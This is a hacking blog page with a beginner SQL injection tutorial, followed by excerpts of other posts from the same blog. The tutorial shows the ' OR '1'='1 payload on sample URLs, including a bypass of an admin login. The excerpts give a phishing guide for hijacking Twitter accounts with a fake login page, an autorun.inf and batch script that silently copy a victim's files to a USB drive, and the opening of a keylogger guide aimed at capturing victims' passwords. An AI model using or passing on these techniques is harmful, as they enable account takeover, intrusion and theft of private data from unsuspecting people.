Skip to main content

Basic Introduction To SQL Injection

SQl injection is a vulnerability that allows an attacker to influence the queries that are passed to the back-end database.It has been present since the time databases have been attached to the web applications.However, the main credit of bringing SQL injection into public notice goes to Rain Forest Puppy who in 1998 wrote an article on it and in 2000 he wrote another article describing how he hacked one of the popular website on the internet using SQL injection.

Before understanding the how SQL injection attacks we need to understand the Simple Three Tier Architectureor a Four Tier Architecture.This will clear your basics and give you a rough idea of how database-driven web applications work.

Three Tier Architecture

In a simple three tier datbase-driven architecture the three layers that are used are:-

Presentation Tier(Browsers)
Logic Tier
Storage Tier(Database)

The three tier architecture follows a linear relationship i.e Presentation Tier connects to the Logic Tier and theLogic Tier connects to the Storage Tier

Presentation Tier <–> Logic Tier <--> Storage Tier
To understand this consider an example


Suppose you connect to the http://www.website.com using his web browser.This is your presentation tier.Now the web server residing in the logic tier will load the script for the entered url and will pass it to the scripting engine which will parse and execute the script.It will also open a connection to the database i.e Storage Tier .It will perform the queries and the data from the database is transferred to the logic tier which will now convert into HTML which is rendered by the Browser.

Four Tier Architecture

In Four Tier Architecture an layer of Application Server is inserted between a web server and the database.

Presentation Tier(Browsers)
Logic Tier
Application Tier
Storage Tier(Database)

28hog09 Basics And Working of SQL Injection Attacks


In four tier architecture the connection to the database is opened by application server which has Application Programming Interface (API) that implements the business logic before transferring the data to the Logic tier.

Presentation TierLogic Tier Application Server Storage Tier

Working Of SQL Injection

SQL injection can be used using various methods.In this tutorial I will explain to the basic concepts behind the SQL injection.

Suppose you are on a shopping site and you have selected the option of showing all the accessories that costless then 200$ and its Url is like

http://www.shoppingsite.com/products.php?val=100

To test this website for SQL injection try appending your SQl injection commands in the val parameter ‘OR ‘1’=’1

http://www.shoppingsite.com/products.php?val=100’OR’1’=’1

If the above injection works and shows the list of all the accessories then the website is vulnerable to this type of SQL injection

This means that at the backend the script will be executed as shown:

SELECT *

FROMProductstbl

WHEREPrice<’200.00’ OR ‘1’=’1’ ORDER BYProductdescription As the condition 1=1 so this will give you list of all the products How this SQL injection Attack Can Be Harmful Suppose a website uses the following url for logging into admin panel http://www.website.com/cms/login.php?username=saini&password=go now if the above website is vulnerable to the SQL injection as mentioned in the above example then by entering any username and password in the url you can login http://www.website.com/ms/login.php?username=dnt&password=dnt’OR’1’=’1 so you will just login without valid username and password to the admin panel of a website. This tutorial is becoming very long so I will explain the rest and the best methods of SQL injection in my next post On SQL injection.

Comments

Popular posts from this blog

How to Hack a Twitter Account

Twitter is one of the topmost widely running social networking sites,Its alexa ranking is 14(As per now).So therefore it is largely becoming target of hackers,Many requests keep coming to me ,please tell us a way to Hack twitter accounts or How to hack twitter accounts,so therefore i today i have written a post on How to hack twitter accounts Well for this purpose i will tell you the most used method to hack twitter accounts i.e phishing How to hack twitter accounts - Phishing First of all download:   Twitter fake login page ( Latest Version ) Click Here To Download : NOTE : You will be asked to enter a password while extracting the Documents. Please Insert the password as : IHA Step 1 First extract the contents into a folder Step 2 Then edit login.php .(right click and then select edit) In that ,find (CTRL+F) ‘http://rafayhackingarticles.blogspot.com’ then change it to your destined URL but don’t forget ‘'. Now rename the script to pass.php and save it

How to steal data using your USB flash drive

Hello friends, In this tutorial we will revealed a new tweak which is illegal but sharing here for educational purpose. This post is only to demonstrate how a user can steal victim's data without any permission, as soon as the flash drive is attached to computer, the files starts to copy in flash drive without any notice. Process is very simple as we have to add only 4-5 notepad files in the flash drive. Follow the following steps :- 1. Create a notepad file with name autorun.inf nad copy the following code. [autorun] icon=drive.ico open=launch.bat action=Click OK to Run shell\open\command=launch.bat 2. Create another notepad file of name file.bat and copy the following code. @echo off :: variables /min SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo off %backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics” %backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites” %backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”

How to use Keyloggers – Detailed Tutorial and FAQs

Here is a DETAILED tutorial which contains every possible information that you need to know about keyloggers which includes how to use it, how it works etc. WARNING: I highly recommend that you read this post completely since every single piece of information is important. I know most of you are new to the concept of keyloggers. For some of you, this might be the first time you heard about the term “keylogger”. So to give you a clear picture and make you understand better I would like to take up this post in the form of FAQs (Frequently Asked Questions). Here we go… 1. What is a Keylogger? A keylogger (also called as spy software) is a small program that monitors each and every keystroke a user types on a specific computer’s keyboard. A keylogger program can be installed just in a few seconds and once installed you are only a step away from getting the victim’s password. 2. How Keylogger works? Once the keylogger is installed on a PC, it starts operating in the backgrou